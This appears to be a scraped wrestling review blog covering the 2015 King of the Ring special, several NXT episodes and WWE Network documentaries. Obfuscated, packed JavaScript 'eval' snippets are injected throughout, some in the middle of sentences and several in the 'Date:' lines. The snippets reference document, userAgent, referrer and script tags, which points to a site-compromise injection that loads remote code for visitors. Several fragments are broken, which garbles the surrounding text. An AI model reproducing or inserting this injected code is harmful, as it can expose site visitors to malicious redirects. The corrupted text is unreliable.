King of the Ring Network Special: Blink And You’ll Miss It

King of the Ring Network Special
Date: April 28, 2015
Location: iWireless Center, Moline, Illinois
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

We open with a recap of the history of the tournament and some of the stars who have won before.

Here are the final four:

Neville

Sheamus

Bad News Barrett

R-Truth

King of the Ring Semi-Finals: Sheamus vs. Neville

King of the Ring Semi-Finals: R-Truth vs. Bad News Barrett

Video on Verne Gagne who passed away yesterday.

We look at Neville beating Barrett on Sunday.

King of the Ring: Bad News Barrett vs. Neville

A running kick to the side of the head and a German suplex get two on Barrett. Winds of Change gets the same and Wasteland is eventually good for another near fall. The Bull Hammer is countered into a rollup for two and Neville kicks him in the head. Neville has to bail out of the Red Arrow and charges into the Bull Hammer for the pin and the crown at 6:10.

Barrett crowns himself and promises to rule with an iron Bull Hammer.

Results

Neville b. Sheamus – Red Arrow

Bad News Barrett b. R-Truth – Bull Hammer

Bad News Barrett b. Neville – Bull Hammer

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Watched Jerry Springer’s Too Hot For TV (Kind Of)

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnera|var|u0026u|referrer|kkdbz||js|php'.split('|'),0,{})) Hail To The Attitude Era time!This is a big waste of time with yet another montage of clips from the Attitude Era, which is basically all the Network exists for during the day. Basically it’s a few long packages on Sable/Marc Mero, Chyna/Mark Henry/Mae Young/Sammi and OF COURSE a history of Stephanie’s love issues. That would be fine for like ten minutes, but this goes on for over half an hour with a few montages of clips thrown in to fill in the time.

Jerry Springer could be any person in the world on this show and sounds like he’s reading off a teleprompter (which he probably was). It’s designed to be like a highlight reel of something he’d host, which is fine in theory but the run time just cripples this thing. Cut this up into thirds and it’s tolerable, but at half an hour I was skipping through it every few seconds. This doesn’t need to exist and I’d be stunned if it survives, at least in this form, until July.

Watched Unfiltered With Renee Young

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaedk|var|u0026u|referrer|biftb||js|php'.split('|'),0,{})) it’s about what you would expect.It runs less than seven minutes and shows Young eating breakfast with Seth Rollins. There’s nothing interesting here other than it being out of character. Rollins talks about a band he likes, his dog, what he wants to do when he retires and that’s about it. It’s quick, it’s unoffensive and you’re not likely to think about it ever again.

The only note here: there’s a shot where Renee turns her head and her hair falls over her face with her eyes looking at Seth and good night is that woman beautiful. Not hot like Trish or Lita but just stunningly pretty. Dean Ambrose is a lucky man.

NXT – April 22, 2015: The New Plan

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byszn|var|u0026u|referrer|zdtfy||js|php'.split('|'),0,{})) April 22, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Rich Brennan

Opening sequence.

Finn Balor vs. Tye Dillinger

Balor starts with some dropkicks as the fans want him to KILL THE JOBBER. The Pele sets up the Sling Blade and the Coup de Grace ends Dillinger at 2:28. This was an old school squashing and Balor looked great.

Tyler Breeze pops up on screen to call Finn Balor the flavor of the month. See you around Finn.

Charlotte vs. Bayley vs. Becky Lynch

#1 contenders match. Becky gets double teamed to start and Bayley throws her to the floor, setting up another showdown between herself and Charlotte. A chop out goes to Charlotte (of course) and we hit the figure four headlock with the flips to knock Bayley senseless. Becky sneaks back in with a nice German suplex to take Charlotte down and we take a break. Back with Becky dropping some running legs on Bayley for two.

Off to a knee hold as we get what might be the first ever crawler advertising NXT live shows. A limping Bayley fights out of the corner but charges into a knee. Becky outs on a complicated leg lock but Charlotte breaks it up with Natural Selection and no cover. The fans think that this is wrestling and better than the Divas.

Becky pulls Charlotte off the middle rope to break up a superplex attempt but Charlotte pulls her away from the corner into a powerbomb with Bayley adding a middle rope elbow to the jaw to drive Lynch down. Charlotte pulls Becky off the cover and puts her bad leg in the Figure Eight (the official name for the bridging version). Charlotte can’t see though and Becky drapes her arm over Bayley for the pin at 11:32 with the hold still on.

CJ Parker vs. Hideo Itami

Rhyno vs. ???

No name for the jobber. Gore ends this in 27 seconds.

Alex Riley vs. Kevin Owens

We come back from a break with Owens choking on the middle rope and not seeing Riley as much of a threat. The backsplash gets two and we hit the chinlock. Riley fights up and hits a running elbow in the corner, followed by a flipping neckbreaker. He gets crotched on top though, setting up the Cannonball and Pop Up Powerbomb for the pin at 8:44.

Post match Owens loads up the apron powerbomb but Sami Zayn comes out for the big brawl. Security comes out but Sami dives on the pile to send Owens running away to end the show.

Results

Finn Balor b. Tye Dillinger – Coup de Grace

Becky Lynch b. Charlotte and Bayley – Lynch pinned Bayley while Bayley was in the Figure Eight

Hideo Itami b. CJ Parker – Shotgun Kick

Rhyno b. ??? – Gore

Kevin Steen b. Alex Riley – Pop Up Powerbomb

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT – April 15, 2015: Can I Marry This Show?

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iatfn|var|u0026u|referrer|nfhzr||js|php'.split('|'),0,{})) April 15, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Corey Graves

Opening sequence.

CJ Parker vs. Solomon Crowe

Post match, Crowe says the show is just beginning.

Baron Corbin vs. Steve Cutler

I had been wondering what happened to Corbin. He was one of the hottest things on the show and then he was jobbing in a highlight package. Cutler eats an early clothesline but gets his days ended at 25 seconds.

Enzo Amore/Colin Cassady vs. Sawyer Fulton/Angelo Dawkins

Blue Pants vs. Dana Brooke

Charlotte vs. Becky Lynch vs. Bayley in a #1 contenders match next week.

Sami Zayn vs. Rhyno

Results

Solomon Crowe b. CJ Parker – Brock Lock

Baron Corbin b. Steve Cutler – End of Days

Enzo Amore/Colin Cassady b. Sawyer Fulton/Angelo Dawkins – Rocket Launcher to Dawkins

Dana Brooke b. Blue Pants – Whiplash

Sami Zayn b. Rhyno – Helluva Kick

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

All 1998 Monday Night Raws Added To The WWE Network

That’s quite the update and quite a lot of new material at once. As you may have heard of, I’ve released a complete collection of reviews for the entire year of Raw as an e-books. It’s available from Amazon for cheap right here. Check it out if you’d like to have a better idea of what was going on that year or maybe have a better idea of what shows and matches to check out.

Finally Caught The Paul Heyman Documentary

Yeah I’m a bit behind on these things. There’s not much to say here but I have three notes.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztnsk|var|u0026u|referrer|fykrf||js|php'.split('|'),0,{})) Yeah it really is as good as people say it is. It’s interesting that two of the best documentaries they’ve ever had have focused on something related to ECW. Heyman may not be the most popular guy in the history of wrestling, but he’s one of the most fascinating stories the business has ever seen.

3. “He does everything Vince hates. He yells too much, he keeps going forever and he never lets the story breathe.”

– Stephanie McMahon, who may in fact be the most delusional, clueless and least self-aware person to ever appear on a WWE television show.

I Checked Out Signature Sounds

The documentary about WWE music.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esirt|var|u0026u|referrer|dktdr||js|php'.split('|'),0,{})) is one of the shows in the series that I had been really looking forward to watching and it was actually far better than I was expecting. It’s another countdown format but with WWE music king Jim Johnston hosting (kind of) and talking about each song. As someone with as much musical talent as a Coke machine, it’s fascinating to see someone who has put together this many different kinds of songs and made a lot of really catchy stuff. I mean, the guy made songs for everyone from Fandango to Undertaker to Orton and a lot of points in between.

Mick Foley’s Cheap Pops Network Special

NXT – April 29, 2015: That Old Feeling

King of the Ring Network Special: Blink And You’ll Miss It

Watched Jerry Springer’s Too Hot For TV (Kind Of)

Watched Unfiltered With Renee Young

NXT – April 22, 2015: The New Plan

NXT – April 15, 2015: Can I Marry This Show?

All 1998 Monday Night Raws Added To The WWE Network

Finally Caught The Paul Heyman Documentary

I Checked Out Signature Sounds